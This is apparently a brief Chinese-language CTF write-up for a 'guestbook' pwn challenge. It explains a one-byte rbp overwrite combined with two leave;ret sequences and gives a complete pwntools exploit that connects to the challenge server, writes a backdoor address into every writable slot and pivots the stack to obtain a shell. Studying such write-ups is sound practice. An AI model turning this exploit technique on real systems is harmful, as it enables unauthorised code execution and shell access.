查看保护
查看ida
这里可以覆盖rbp最后一个字节,而且程序会执行两次leave ret
完整exp:
from pwn import*
#p=process('./guestbook')
p=remote('gz.imxbt.cn',20073)
backdoor=0x00401328
for i in range(33):
p.sendlineafter('index',str(i))
payload=p64(backdoor)+p64(backdoor)
p.sendafter('name:',payload)
p.sendlineafter('id:',b'0')
p.sendlineafter('index',b'-1')
p.interactive()
直接把能改的地方全改成后门,然后覆盖rbp最后一个字节为比rbp原地址低的地址,就可以getshell了